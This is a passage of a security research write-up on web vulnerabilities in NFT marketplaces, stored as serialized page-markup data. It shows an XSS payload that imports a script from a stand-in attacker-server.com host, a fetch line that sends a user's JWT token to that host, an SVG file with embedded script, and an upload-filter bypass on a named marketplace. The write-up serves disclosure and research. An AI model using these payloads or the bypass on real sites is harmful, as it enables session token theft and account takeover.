tag":90,"props":35080,"children":35081},{"style":97},[35082],{"type":29,"value":34229},{"type":24,"tag":90,"props":35084,"children":35085},{"style":34189},[35086],{"type":29,"value":8377},{"type":24,"tag":90,"props":35088,"children":35089},{"class":92,"line":248},[35090,35094,35098,35102,35106,35110,35114,35118,35122,35126,35130,35134,35138,35142,35146,35150,35154,35158],{"type":24,"tag":90,"props":35091,"children":35092},{"style":34189},[35093],{"type":29,"value":34259},{"type":24,"tag":90,"props":35095,"children":35096},{"style":97},[35097],{"type":29,"value":34264},{"type":24,"tag":90,"props":35099,"children":35100},{"style":136},[35101],{"type":29,"value":34269},{"type":24,"tag":90,"props":35103,"children":35104},{"style":120},[35105],{"type":29,"value":5491},{"type":24,"tag":90,"props":35107,"children":35108},{"style":1085},[35109],{"type":29,"value":34278},{"type":24,"tag":90,"props":35111,"children":35112},{"style":136},[35113],{"type":29,"value":34283},{"type":24,"tag":90,"props":35115,"children":35116},{"style":120},[35117],{"type":29,"value":5491},{"type":24,"tag":90,"props":35119,"children":35120},{"style":1085},[35121],{"type":29,"value":34292},{"type":24,"tag":90,"props":35123,"children":35124},{"style":136},[35125],{"type":29,"value":3631},{"type":24,"tag":90,"props":35127,"children":35128},{"style":120},[35129],{"type":29,"value":5491},{"type":24,"tag":90,"props":35131,"children":35132},{"style":1085},[35133],{"type":29,"value":34305},{"type":24,"tag":90,"props":35135,"children":35136},{"style":136},[35137],{"type":29,"value":34310},{"type":24,"tag":90,"props":35139,"children":35140},{"style":120},[35141],{"type":29,"value":5491},{"type":24,"tag":90,"props":35143,"children":35144},{"style":1085},[35145],{"type":29,"value":34319},{"type":24,"tag":90,"props":35147,"children":35148},{"style":136},[35149],{"type":29,"value":34324},{"type":24,"tag":90,"props":35151,"children":35152},{"style":120},[35153],{"type":29,"value":5491},{"type":24,"tag":90,"props":35155,"children":35156},{"style":1085},[35157],{"type":29,"value":34333},{"type":24,"tag":90,"props":35159,"children":35160},{"style":34189},[35161],{"type":29,"value":8377},{"type":24,"tag":90,"props":35163,"children":35164},{"class":92,"line":258},[35165,35169,35173,35177,35181,35185,35189,35193,35197,35201,35205,35209],{"type":24,"tag":90,"props":35166,"children":35167},{"style":34189},[35168],{"type":29,"value":34345},{"type":24,"tag":90,"props":35170,"children":35171},{"style":97},[35172],{"type":29,"value":1106},{"type":24,"tag":90,"props":35174,"children":35175},{"style":136},[35176],{"type":29,"value":34354},{"type":24,"tag":90,"props":35178,"children":35179},{"style":120},[35180],{"type":29,"value":5491},{"type":24,"tag":90,"props":35182,"children":35183},{"style":1085},[35184],{"type":29,"value":34363},{"type":24,"tag":90,"props":35186,"children":35187},{"style":136},[35188],{"type":29,"value":34368},{"type":24,"tag":90,"props":35190,"children":35191},{"style":120},[35192],{"type":29,"value":5491},{"type":24,"tag":90,"props":35194,"children":35195},{"style":1085},[35196],{"type":29,"value":34377},{"type":24,"tag":90,"props":35198,"children":35199},{"style":136},[35200],{"type":29,"value":34269},{"type":24,"tag":90,"props":35202,"children":35203},{"style":120},[35204],{"type":29,"value":5491},{"type":24,"tag":90,"props":35206,"children":35207},{"style":1085},[35208],{"type":29,"value":34390},{"type":24,"tag":90,"props":35210,"children":35211},{"style":34189},[35212],{"type":29,"value":8377},{"type":24,"tag":90,"props":35214,"children":35215},{"class":92,"line":272},[35216,35220,35224,35228,35232,35236,35240,35244,35248,35252,35256,35260,35265,35269,35274,35278,35283,35287,35292,35297,35301,35305,35310,35315,35320,35325,35330,35335,35339,35344,35348,35352,35357,35361,35366,35371,35376,35380,35384,35388,35393,35397],{"type":24,"tag":90,"props":35217,"children":35218},{"style":34189},[35219],{"type":29,"value":34402},{"type":24,"tag":90,"props":35221,"children":35222},{"style":97},[35223],{"type":29,"value":1106},{"type":24,"tag":90,"props":35225,"children":35226},{"style":136},[35227],{"type":29,"value":34354},{"type":24,"tag":90,"props":35229,"children":35230},{"style":120},[35231],{"type":29,"value":5491},{"type":24,"tag":90,"props":35233,"children":35234},{"style":1085},[35235],{"type":29,"value":34419},{"type":24,"tag":90,"props":35237,"children":35238},{"style":136},[35239],{"type":29,"value":34368},{"type":24,"tag":90,"props":35241,"children":35242},{"style":120},[35243],{"type":29,"value":5491},{"type":24,"tag":90,"props":35245,"children":35246},{"style":1085},[35247],{"type":29,"value":34432},{"type":24,"tag":90,"props":35249,"children":35250},{"style":136},[35251],{"type":29,"value":34324},{"type":24,"tag":90,"props":35253,"children":35254},{"style":120},[35255],{"type":29,"value":5491},{"type":24,"tag":90,"props":35257,"children":35258},{"style":1085},[35259],{"type":29,"value":21855},{"type":24,"tag":90,"props":35261,"children":35262},{"style":97},[35263],{"type":29,"value":35264},"{"",{"type":24,"tag":90,"props":35266,"children":35267},{"style":1085},[35268],{"type":29,"value":34454},{"type":24,"tag":90,"props":35270,"children":35271},{"style":97},[35272],{"type":29,"value":35273},"":"<",{"type":24,"tag":90,"props":35275,"children":35276},{"style":1085},[35277],{"type":29,"value":6301},{"type":24,"tag":90,"props":35279,"children":35280},{"style":97},[35281],{"type":29,"value":35282},"/",{"type":24,"tag":90,"props":35284,"children":35285},{"style":1085},[35286],{"type":29,"value":34483},{"type":24,"tag":90,"props":35288,"children":35289},{"style":97},[35290],{"type":29,"value":35291},"=",{"type":24,"tag":90,"props":35293,"children":35294},{"style":1085},[35295],{"type":29,"value":35296},"x onerror",{"type":24,"tag":90,"props":35298,"children":35299},{"style":97},[35300],{"type":29,"value":35291},{"type":24,"tag":90,"props":35302,"children":35303},{"style":1085},[35304],{"type":29,"value":21278},{"type":24,"tag":90,"props":35306,"children":35307},{"style":97},[35308],{"type":29,"value":35309},"(`",{"type":24,"tag":90,"props":35311,"children":35312},{"style":1085},[35313],{"type":29,"value":35314},"https",{"type":24,"tag":90,"props":35316,"children":35317},{"style":97},[35318],{"type":29,"value":35319},"://",{"type":24,"tag":90,"props":35321,"children":35322},{"style":1085},[35323],{"type":29,"value":35324},"attacker-server",{"type":24,"tag":90,"props":35326,"children":35327},{"style":97},[35328],{"type":29,"value":35329},".",{"type":24,"tag":90,"props":35331,"children":35332},{"style":1085},[35333],{"type":29,"value":35334},"com",{"type":24,"tag":90,"props":35336,"children":35337},{"style":97},[35338],{"type":29,"value":35282},{"type":24,"tag":90,"props":35340,"children":35341},{"style":1085},[35342],{"type":29,"value":35343},"leak",{"type":24,"tag":90,"props":35345,"children":35346},{"style":97},[35347],{"type":29,"value":35329},{"type":24,"tag":90,"props":35349,"children":35350},{"style":1085},[35351],{"type":29,"value":33178},{"type":24,"tag":90,"props":35353,"children":35354},{"style":97},[35355],{"type":29,"value":35356},"`)>","",{"type":24,"tag":90,"props":35358,"children":35359},{"style":1085},[35360],{"type":29,"value":34541},{"type":24,"tag":90,"props":35362,"children":35363},{"style":97},[35364],{"type":29,"value":35365},"":"",{"type":24,"tag":90,"props":35367,"children":35368},{"style":1085},[35369],{"type":29,"value":35370},"profile-assets",{"type":24,"tag":90,"props":35372,"children":35373},{"style":97},[35374],{"type":29,"value":35375},"","",{"type":24,"tag":90,"props":35377,"children":35378},{"style":1085},[35379],{"type":29,"value":34570},{"type":24,"tag":90,"props":35381,"children":35382},{"style":97},[35383],{"type":29,"value":35365},{"type":24,"tag":90,"props":35385,"children":35386},{"style":1085},[35387],{"type":29,"value":34579},{"type":24,"tag":90,"props":35389,"children":35390},{"style":97},[35391],{"type":29,"value":35392},""}",{"type":24,"tag":90,"props":35394,"children":35395},{"style":1085},[35396],{"type":29,"value":21855},{"type":24,"tag":90,"props":35398,"children":35399},{"style":34189},[35400],{"type":29,"value":34593},{"type":24,"tag":90,"props":35402,"children":35403},{"class":92,"line":281},[35404,35408,35412,35416,35420,35424,35428,35432,35436],{"type":24,"tag":90,"props":35405,"children":35406},{"style":34189},[35407],{"type":29,"value":34402},{"type":24,"tag":90,"props":35409,"children":35410},{"style":97},[35411],{"type":29,"value":1106},{"type":24,"tag":90,"props":35413,"children":35414},{"style":136},[35415],{"type":29,"value":34354},{"type":24,"tag":90,"props":35417,"children":35418},{"style":120},[35419],{"type":29,"value":5491},{"type":24,"tag":90,"props":35421,"children":35422},{"style":1085},[35423],{"type":29,"value":34617},{"type":24,"tag":90,"props":35425,"children":35426},{"style":136},[35427],{"type":29,"value":34324},{"type":24,"tag":90,"props":35429,"children":35430},{"style":120},[35431],{"type":29,"value":5491},{"type":24,"tag":90,"props":35433,"children":35434},{"style":1085},[35435],{"type":29,"value":34630},{"type":24,"tag":90,"props":35437,"children":35438},{"style":34189},[35439],{"type":29,"value":34593},{"type":24,"tag":90,"props":35441,"children":35442},{"class":92,"line":384},[35443,35447,35451],{"type":24,"tag":90,"props":35444,"children":35445},{"style":34189},[35446],{"type":29,"value":34642},{"type":24,"tag":90,"props":35448,"children":35449},{"style":97},[35450],{"type":29,"value":34264},{"type":24,"tag":90,"props":35452,"children":35453},{"style":34189},[35454],{"type":29,"value":8377},{"type":24,"tag":90,"props":35456,"children":35457},{"class":92,"line":420},[35458,35462,35466],{"type":24,"tag":90,"props":35459,"children":35460},{"style":34189},[35461],{"type":29,"value":34658},{"type":24,"tag":90,"props":35463,"children":35464},{"style":97},[35465],{"type":29,"value":34213},{"type":24,"tag":90,"props":35467,"children":35468},{"style":34189},[35469],{"type":29,"value":8377},{"type":24,"tag":90,"props":35471,"children":35472},{"class":92,"line":428},[35473],{"type":24,"tag":90,"props":35474,"children":35475},{"emptyLinePlaceholder":16},[35476],{"type":29,"value":245},{"type":24,"tag":90,"props":35478,"children":35479},{"class":92,"line":437},[35480,35484,35488],{"type":24,"tag":90,"props":35481,"children":35482},{"style":34189},[35483],{"type":29,"value":34208},{"type":24,"tag":90,"props":35485,"children":35486},{"style":97},[35487],{"type":29,"value":34229},{"type":24,"tag":90,"props":35489,"children":35490},{"style":34189},[35491],{"type":29,"value":8377},{"type":24,"tag":90,"props":35493,"children":35494},{"class":92,"line":574},[35495],{"type":24,"tag":90,"props":35496,"children":35497},{"emptyLinePlaceholder":16},[35498],{"type":29,"value":245},{"type":24,"tag":90,"props":35500,"children":35501},{"class":92,"line":606},[35502,35506],{"type":24,"tag":90,"props":35503,"children":35504},{"style":114},[35505],{"type":29,"value":34703},{"type":24,"tag":90,"props":35507,"children":35508},{"style":97},[35509],{"type":29,"value":2221},{"type":24,"tag":90,"props":35511,"children":35512},{"class":92,"line":615},[35513,35517,35521,35525,35529,35533,35537,35541,35545,35549,35553,35557],{"type":24,"tag":90,"props":35514,"children":35515},{"style":136},[35516],{"type":29,"value":34715},{"type":24,"tag":90,"props":35518,"children":35519},{"style":136},[35520],{"type":29,"value":34720},{"type":24,"tag":90,"props":35522,"children":35523},{"style":120},[35524],{"type":29,"value":34725},{"type":24,"tag":90,"props":35526,"children":35527},{"style":636},[35528],{"type":29,"value":34730},{"type":24,"tag":90,"props":35530,"children":35531},{"style":120},[35532],{"type":29,"value":1151},{"type":24,"tag":90,"props":35534,"children":35535},{"style":636},[35536],{"type":29,"value":34730},{"type":24,"tag":90,"props":35538,"children":35539},{"style":108},[35540],{"type":29,"value":34743},{"type":24,"tag":90,"props":35542,"children":35543},{"style":120},[35544],{"type":29,"value":117},{"type":24,"tag":90,"props":35546,"children":35547},{"style":1085},[35548],{"type":29,"value":34752},{"type":24,"tag":90,"props":35550,"children":35551},{"style":120},[35552],{"type":29,"value":34757},{"type":24,"tag":90,"props":35554,"children":35555},{"style":108},[35556],{"type":29,"value":34762},{"type":24,"tag":90,"props":35558,"children":35559},{"style":120},[35560],{"type":29,"value":2121},{"type":24,"tag":90,"props":35562,"children":35563},{"class":92,"line":623},[35564],{"type":24,"tag":90,"props":35565,"children":35566},{"emptyLinePlaceholder":16},[35567],{"type":29,"value":245},{"type":24,"tag":90,"props":35569,"children":35570},{"class":92,"line":632},[35571,35575,35579,35583,35587,35591,35595,35599,35603,35607,35611,35615,35619],{"type":24,"tag":90,"props":35572,"children":35573},{"style":136},[35574],{"type":29,"value":287},{"type":24,"tag":90,"props":35576,"children":35577},{"style":136},[35578],{"type":29,"value":34785},{"type":24,"tag":90,"props":35580,"children":35581},{"style":120},[35582],{"type":29,"value":34725},{"type":24,"tag":90,"props":35584,"children":35585},{"style":97},[35586],{"type":29,"value":1622},{"type":24,"tag":90,"props":35588,"children":35589},{"style":108},[35590],{"type":29,"value":34798},{"type":24,"tag":90,"props":35592,"children":35593},{"style":120},[35594],{"type":29,"value":34803},{"type":24,"tag":90,"props":35596,"children":35597},{"style":136},[35598],{"type":29,"value":34762},{"type":24,"tag":90,"props":35600,"children":35601},{"style":120},[35602],{"type":29,"value":24857},{"type":24,"tag":90,"props":35604,"children":35605},{"style":1085},[35606],{"type":29,"value":34816},{"type":24,"tag":90,"props":35608,"children":35609},{"style":120},[35610],{"type":29,"value":34821},{"type":24,"tag":90,"props":35612,"children":35613},{"style":136},[35614],{"type":29,"value":34826},{"type":24,"tag":90,"props":35616,"children":35617},{"style":1085},[35618],{"type":29,"value":34831},{"type":24,"tag":90,"props":35620,"children":35621},{"style":120},[35622],{"type":29,"value":34836},{"type":24,"tag":90,"props":35624,"children":35625},{"class":92,"line":669},[35626,35630,35634,35638,35642,35646],{"type":24,"tag":90,"props":35627,"children":35628},{"style":136},[35629],{"type":29,"value":34715},{"type":24,"tag":90,"props":35631,"children":35632},{"style":136},[35633],{"type":29,"value":34848},{"type":24,"tag":90,"props":35635,"children":35636},{"style":120},[35637],{"type":29,"value":34725},{"type":24,"tag":90,"props":35639,"children":35640},{"style":97},[35641],{"type":29,"value":1622},{"type":24,"tag":90,"props":35643,"children":35644},{"style":108},[35645],{"type":29,"value":34861},{"type":24,"tag":90,"props":35647,"children":35648},{"style":120},[35649],{"type":29,"value":236},{"type":24,"tag":90,"props":35651,"children":35652},{"class":92,"line":683},[35653,35657,35661,35665,35669,35673,35677,35681],{"type":24,"tag":90,"props":35654,"children":35655},{"style":136},[35656],{"type":29,"value":34873},{"type":24,"tag":90,"props":35658,"children":35659},{"style":120},[35660],{"type":29,"value":226},{"type":24,"tag":90,"props":35662,"children":35663},{"style":136},[35664],{"type":29,"value":34882},{"type":24,"tag":90,"props":35666,"children":35667},{"style":120},[35668],{"type":29,"value":226},{"type":24,"tag":90,"props":35670,"children":35671},{"style":108},[35672],{"type":29,"value":1505},{"type":24,"tag":90,"props":35674,"children":35675},{"style":120},[35676],{"type":29,"value":117},{"type":24,"tag":90,"props":35678,"children":35679},{"style":136},[35680],{"type":29,"value":34899},{"type":24,"tag":90,"props":35682,"children":35683},{"style":120},[35684],{"type":29,"value":571},{"type":24,"tag":90,"props":35686,"children":35687},{"class":92,"line":737},[35688],{"type":24,"tag":90,"props":35689,"children":35690},{"emptyLinePlaceholder":16},[35691],{"type":29,"value":245},{"type":24,"tag":90,"props":35693,"children":35694},{"class":92,"line":751},[35695,35699,35703,35707,35711,35715,35719,35723],{"type":24,"tag":90,"props":35696,"children":35697},{"style":136},[35698],{"type":29,"value":34918},{"type":24,"tag":90,"props":35700,"children":35701},{"style":120},[35702],{"type":29,"value":226},{"type":24,"tag":90,"props":35704,"children":35705},{"style":136},[35706],{"type":29,"value":34927},{"type":24,"tag":90,"props":35708,"children":35709},{"style":120},[35710],{"type":29,"value":34725},{"type":24,"tag":90,"props":35712,"children":35713},{"style":136},[35714],{"type":29,"value":34936},{"type":24,"tag":90,"props":35716,"children":35717},{"style":120},[35718],{"type":29,"value":226},{"type":24,"tag":90,"props":35720,"children":35721},{"style":136},[35722],{"type":29,"value":34927},{"type":24,"tag":90,"props":35724,"children":35725},{"style":120},[35726],{"type":29,"value":381},{"type":24,"tag":90,"props":35728,"children":35729},{"class":92,"line":782},[35730],{"type":24,"tag":90,"props":35731,"children":35732},{"emptyLinePlaceholder":16},[35733],{"type":29,"value":245},{"type":24,"tag":90,"props":35735,"children":35736},{"class":92,"line":791},[35737,35742,35746,35751],{"type":24,"tag":90,"props":35738,"children":35739},{"style":136},[35740],{"type":29,"value":35741}," form123",{"type":24,"tag":90,"props":35743,"children":35744},{"style":120},[35745],{"type":29,"value":226},{"type":24,"tag":90,"props":35747,"children":35748},{"style":108},[35749],{"type":29,"value":35750},"submit",{"type":24,"tag":90,"props":35752,"children":35753},{"style":120},[35754],{"type":29,"value":2121},{"type":24,"tag":90,"props":35756,"children":35757},{"class":92,"line":799},[35758,35762],{"type":24,"tag":90,"props":35759,"children":35760},{"style":97},[35761],{"type":29,"value":34956},{"type":24,"tag":90,"props":35763,"children":35764},{"style":114},[35765],{"type":29,"value":34961},{"type":24,"tag":90,"props":35767,"children":35768},{"class":92,"line":807},[35769],{"type":24,"tag":90,"props":35770,"children":35771},{"emptyLinePlaceholder":16},[35772],{"type":29,"value":245},{"type":24,"tag":90,"props":35774,"children":35775},{"class":92,"line":821},[35776,35780,35784],{"type":24,"tag":90,"props":35777,"children":35778},{"style":34189},[35779],{"type":29,"value":34658},{"type":24,"tag":90,"props":35781,"children":35782},{"style":97},[35783],{"type":29,"value":34229},{"type":24,"tag":90,"props":35785,"children":35786},{"style":34189},[35787],{"type":29,"value":8377},{"type":24,"tag":90,"props":35789,"children":35790},{"class":92,"line":6278},[35791,35795,35799],{"type":24,"tag":90,"props":35792,"children":35793},{"style":34189},[35794],{"type":29,"value":34243},{"type":24,"tag":90,"props":35796,"children":35797},{"style":97},[35798],{"type":29,"value":34196},{"type":24,"tag":90,"props":35800,"children":35801},{"style":34189},[35802],{"type":29,"value":8377},{"type":24,"tag":25,"props":35804,"children":35805},{},[35806],{"type":29,"value":35807},"This script automatically sends the following config in POST body, which triggers the XSS and imports a malicious javascript file from attacker's server:",{"type":24,"tag":80,"props":35809,"children":35813},{"className":35810,"code":35811,"language":35812,"meta":7,"style":7},"language-json shiki shiki-themes slack-dark","{\n \"address\": \"\u003Cimg/src=x onerror=import(`https://attacker-server.com/leak.js`)>\",\n \"to\": \"profile-assets\",\n \"type\": \"icon\"\n}\n","json",[35814],{"type":24,"tag":32,"props":35815,"children":35816},{"__ignoreMap":7},[35817,35824,35845,35866,35883],{"type":24,"tag":90,"props":35818,"children":35819},{"class":92,"line":93},[35820],{"type":24,"tag":90,"props":35821,"children":35822},{"style":114},[35823],{"type":29,"value":2221},{"type":24,"tag":90,"props":35825,"children":35826},{"class":92,"line":200},[35827,35832,35836,35841],{"type":24,"tag":90,"props":35828,"children":35829},{"style":136},[35830],{"type":29,"value":35831}," \"address\"",{"type":24,"tag":90,"props":35833,"children":35834},{"style":114},[35835],{"type":29,"value":1833},{"type":24,"tag":90,"props":35837,"children":35838},{"style":1085},[35839],{"type":29,"value":35840},"\"\u003Cimg/src=x onerror=import(`https://attacker-server.com/leak.js`)>\"",{"type":24,"tag":90,"props":35842,"children":35843},{"style":114},[35844],{"type":29,"value":748},{"type":24,"tag":90,"props":35846,"children":35847},{"class":92,"line":239},[35848,35853,35857,35862],{"type":24,"tag":90,"props":35849,"children":35850},{"style":136},[35851],{"type":29,"value":35852}," \"to\"",{"type":24,"tag":90,"props":35854,"children":35855},{"style":114},[35856],{"type":29,"value":1833},{"type":24,"tag":90,"props":35858,"children":35859},{"style":1085},[35860],{"type":29,"value":35861},"\"profile-assets\"",{"type":24,"tag":90,"props":35863,"children":35864},{"style":114},[35865],{"type":29,"value":748},{"type":24,"tag":90,"props":35867,"children":35868},{"class":92,"line":248},[35869,35874,35878],{"type":24,"tag":90,"props":35870,"children":35871},{"style":136},[35872],{"type":29,"value":35873}," \"type\"",{"type":24,"tag":90,"props":35875,"children":35876},{"style":114},[35877],{"type":29,"value":1833},{"type":24,"tag":90,"props":35879,"children":35880},{"style":1085},[35881],{"type":29,"value":35882},"\"icon\"\n",{"type":24,"tag":90,"props":35884,"children":35885},{"class":92,"line":258},[35886],{"type":24,"tag":90,"props":35887,"children":35888},{"style":114},[35889],{"type":29,"value":827},{"type":24,"tag":25,"props":35891,"children":35892},{},[35893],{"type":29,"value":35894},"Then, the imported script is able to exfiltrate the JWT authentication token from stashh.io:",{"type":24,"tag":80,"props":35896,"children":35898},{"className":33176,"code":35897,"language":33178,"meta":7,"style":7},"fetch(`https://attacker-server.com/?token_leak=${localStorage.getItem('token')}`);\n",[35899],{"type":24,"tag":32,"props":35900,"children":35901},{"__ignoreMap":7},[35902],{"type":24,"tag":90,"props":35903,"children":35904},{"class":92,"line":93},[35905,35910,35914,35919,35924,35929,35933,35938,35942,35947,35951,35956,35960],{"type":24,"tag":90,"props":35906,"children":35907},{"style":108},[35908],{"type":29,"value":35909},"fetch",{"type":24,"tag":90,"props":35911,"children":35912},{"style":114},[35913],{"type":29,"value":117},{"type":24,"tag":90,"props":35915,"children":35916},{"style":1085},[35917],{"type":29,"value":35918},"`https://attacker-server.com/?token_leak=",{"type":24,"tag":90,"props":35920,"children":35921},{"style":97},[35922],{"type":29,"value":35923},"${",{"type":24,"tag":90,"props":35925,"children":35926},{"style":136},[35927],{"type":29,"value":35928},"localStorage",{"type":24,"tag":90,"props":35930,"children":35931},{"style":120},[35932],{"type":29,"value":226},{"type":24,"tag":90,"props":35934,"children":35935},{"style":108},[35936],{"type":29,"value":35937},"getItem",{"type":24,"tag":90,"props":35939,"children":35940},{"style":120},[35941],{"type":29,"value":117},{"type":24,"tag":90,"props":35943,"children":35944},{"style":1085},[35945],{"type":29,"value":35946},"'token'",{"type":24,"tag":90,"props":35948,"children":35949},{"style":120},[35950],{"type":29,"value":517},{"type":24,"tag":90,"props":35952,"children":35953},{"style":97},[35954],{"type":29,"value":35955},"}",{"type":24,"tag":90,"props":35957,"children":35958},{"style":1085},[35959],{"type":29,"value":12750},{"type":24,"tag":90,"props":35961,"children":35962},{"style":114},[35963],{"type":29,"value":571},{"type":24,"tag":1019,"props":35965,"children":35967},{"id":35966},"svgs",[35968],{"type":29,"value":35969},"SVGs",{"type":24,"tag":25,"props":35971,"children":35972},{},[35973],{"type":29,"value":35974},"After closely analyzing various NFT marketplaces, we noticed a common shared feature; the ability to update profile pictures or insert NFT assets using SVG files. SVG is an XML- based format that defines graphics and how they interact.",{"type":24,"tag":25,"props":35976,"children":35977},{},[35978],{"type":29,"value":35979},"Unbeknownst to some people, SVG files can contain JavaScript and run arbitrary scripts.",{"type":24,"tag":80,"props":35981,"children":35983},{"className":33176,"code":35982,"language":33178,"meta":7,"style":7},"\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE svg PUBLIC \"-//W3C//DTD SVG 1.1//EN\" \"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd\">\n\n \u003Csvg xmlns=\"http://www.w3.org/2000/svg\">\n \u003Ctitle>XSS\u003C/title>\n \u003Cscript type=\"text/javascript\">\n alert(document.domain);\n \u003C/script>\n \u003C/svg>\n",[35984],{"type":24,"tag":32,"props":35985,"children":35986},{"__ignoreMap":7},[35987,36033,36070,36077,36107,36139,36167,36175,36191],{"type":24,"tag":90,"props":35988,"children":35989},{"class":92,"line":93},[35990,35995,36000,36005,36009,36014,36019,36023,36028],{"type":24,"tag":90,"props":35991,"children":35992},{"style":120},[35993],{"type":29,"value":35994},"\u003C?",{"type":24,"tag":90,"props":35996,"children":35997},{"style":136},[35998],{"type":29,"value":35999},"xml",{"type":24,"tag":90,"props":36001,"children":36002},{"style":136},[36003],{"type":29,"value":36004}," version",{"type":24,"tag":90,"props":36006,"children":36007},{"style":120},[36008],{"type":29,"value":5491},{"type":24,"tag":90,"props":36010,"children":36011},{"style":1085},[36012],{"type":29,"value":36013},"\"1.0\"",{"type":24,"tag":90,"props":36015,"children":36016},{"style":136},[36017],{"type":29,"value":36018}," encoding",{"type":24,"tag":90,"props":36020,"children":36021},{"style":120},[36022],{"type":29,"value":5491},{"type":24,"tag":90,"props":36024,"children":36025},{"style":1085},[36026],{"type":29,"value":36027},"\"UTF-8\"",{"type":24,"tag":90,"props":36029,"children":36030},{"style":120},[36031],{"type":29,"value":36032},"?>\n",{"type":24,"tag":90,"props":36034,"children":36035},{"class":92,"line":200},[36036,36041,36046,36051,36056,36061,36066],{"type":24,"tag":90,"props":36037,"children":36038},{"style":120},[36039],{"type":29,"value":36040},"\u003C!",{"type":24,"tag":90,"props":36042,"children":36043},{"style":136},[36044],{"type":29,"value":36045},"DOCTYPE",{"type":24,"tag":90,"props":36047,"children":36048},{"style":136},[36049],{"type":29,"value":36050}," svg",{"type":24,"tag":90,"props":36052,"children":36053},{"style":136},[36054],{"type":29,"value":36055}," PUBLIC",{"type":24,"tag":90,"props":36057,"children":36058},{"style":1085},[36059],{"type":29,"value":36060}," \"-//W3C//DTD SVG 1.1//EN\"",{"type":24,"tag":90,"props":36062,"children":36063},{"style":1085},[36064],{"type":29,"value":36065}," \"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd\"",{"type":24,"tag":90,"props":36067,"children":36068},{"style":120},[36069],{"type":29,"value":8377},{"type":24,"tag":90,"props":36071,"children":36072},{"class":92,"line":239},[36073],{"type":24,"tag":90,"props":36074,"children":36075},{"emptyLinePlaceholder":16},[36076],{"type":29,"value":245},{"type":24,"tag":90,"props":36078,"children":36079},{"class":92,"line":248},[36080,36084,36089,36094,36098,36103],{"type":24,"tag":90,"props":36081,"children":36082},{"style":34189},[36083],{"type":29,"value":11095},{"type":24,"tag":90,"props":36085,"children":36086},{"style":97},[36087],{"type":29,"value":36088},"svg",{"type":24,"tag":90,"props":36090,"children":36091},{"style":136},[36092],{"type":29,"value":36093}," xmlns",{"type":24,"tag":90,"props":36095,"children":36096},{"style":120},[36097],{"type":29,"value":5491},{"type":24,"tag":90,"props":36099,"children":36100},{"style":1085},[36101],{"type":29,"value":36102},"\"http://www.w3.org/2000/svg\"",{"type":24,"tag":90,"props":36104,"children":36105},{"style":34189},[36106],{"type":29,"value":8377},{"type":24,"tag":90,"props":36108,"children":36109},{"class":92,"line":258},[36110,36114,36119,36123,36127,36131,36135],{"type":24,"tag":90,"props":36111,"children":36112},{"style":34189},[36113],{"type":29,"value":34208},{"type":24,"tag":90,"props":36115,"children":36116},{"style":97},[36117],{"type":29,"value":36118},"title",{"type":24,"tag":90,"props":36120,"children":36121},{"style":34189},[36122],{"type":29,"value":12830},{"type":24,"tag":90,"props":36124,"children":36125},{"style":114},[36126],{"type":29,"value":33050},{"type":24,"tag":90,"props":36128,"children":36129},{"style":34189},[36130],{"type":29,"value":34243},{"type":24,"tag":90,"props":36132,"children":36133},{"style":97},[36134],{"type":29,"value":36118},{"type":24,"tag":90,"props":36136,"children":36137},{"style":34189},[36138],{"type":29,"value":8377},{"type":24,"tag":90,"props":36140,"children":36141},{"class":92,"line":272},[36142,36146,36150,36154,36158,36163],{"type":24,"tag":90,"props":36143,"children":36144},{"style":34189},[36145],{"type":29,"value":34208},{"type":24,"tag":90,"props":36147,"children":36148},{"style":97},[36149],{"type":29,"value":34229},{"type":24,"tag":90,"props":36151,"children":36152},{"style":136},[36153],{"type":29,"value":34354},{"type":24,"tag":90,"props":36155,"children":36156},{"style":120},[36157],{"type":29,"value":5491},{"type":24,"tag":90,"props":36159,"children":36160},{"style":1085},[36161],{"type":29,"value":36162},"\"text/javascript\"",{"type":24,"tag":90,"props":36164,"children":36165},{"style":34189},[36166],{"type":29,"value":8377},{"type":24,"tag":90,"props":36168,"children":36169},{"class":92,"line":281},[36170],{"type":24,"tag":90,"props":36171,"children":36172},{"style":114},[36173],{"type":29,"value":36174}," alert(document.domain);\n",{"type":24,"tag":90,"props":36176,"children":36177},{"class":92,"line":384},[36178,36183,36187],{"type":24,"tag":90,"props":36179,"children":36180},{"style":34189},[36181],{"type":29,"value":36182}," \u003C/",{"type":24,"tag":90,"props":36184,"children":36185},{"style":97},[36186],{"type":29,"value":34229},{"type":24,"tag":90,"props":36188,"children":36189},{"style":34189},[36190],{"type":29,"value":8377},{"type":24,"tag":90,"props":36192,"children":36193},{"class":92,"line":420},[36194,36199,36203],{"type":24,"tag":90,"props":36195,"children":36196},{"style":34189},[36197],{"type":29,"value":36198}," \u003C/",{"type":24,"tag":90,"props":36200,"children":36201},{"style":97},[36202],{"type":29,"value":36088},{"type":24,"tag":90,"props":36204,"children":36205},{"style":34189},[36206],{"type":29,"value":8377},{"type":24,"tag":25,"props":36208,"children":36209},{},[36210,36212,36219],{"type":29,"value":36211},"Although some marketplaces restrict the upload of SVG files, we discovered a way to bypass these checks. One particular instance involved the ",{"type":24,"tag":69,"props":36213,"children":36216},{"href":36214,"rel":36215},"https://xtingles.com/",[73],[36217],{"type":29,"value":36218},"xtingles Marketplace",{"type":29,"value":226},{"type":24,"tag":25,"props":36221,"children":36222},{},[36223],{"type":29,"value":36224},"Even though the file extension was validated based on its name, the content type was not checked. By renaming a file with an allowed extension and inserting an SVG file with the content type \"svg+xml,\", we were able to successfully upload the SVG file.",{"type":24,"tag":25,"props":36226,"children":36227},{},[36228],{"type":29,"value":36229},"Below, we show you how we did it.",{"type":24,"tag":25,"props":36231,"children":36232},{},[36233],{"type":29,"value":36234},"Request when the original SVG was sent, showing it is not accepted as format:",{"type":24,"tag":25,"props":36236,"children":36237},{},[36238],{"type":24,"tag":6301,"props":36239,"children":36241},{"alt":7,"src":36240},"/posts/web2-bug-repellant-instructions/svg-1.png",[],{"type":24,"tag":25,"props":36243,"children":36244},{},[36245],{"type":29,"value":36246},"After changing the extension inside the file name.",{"type":24,"tag":25,"props":36248,"children":36249},{},[36250],{"type":24,"tag":6301,"props":36251,"children":36253},{"alt":7,"src":36252},"/posts/web2-bug-repellant-instructions/svg-2.png",[],{"type":24,"tag":1019,"props":36255,"children":36257},{"id":36256},"svgs-return",[36258],{"type":29,"value":36259},"SVGs Return",{"type":24,"tag":25,"props":36261,"children":36262},{},[36263],{"type":29,"value":36264},"We'll give credit where it's due. Some marketplaces mitigate the impact of XSS by storing images in IPFS, Amazon S3 buckets, or 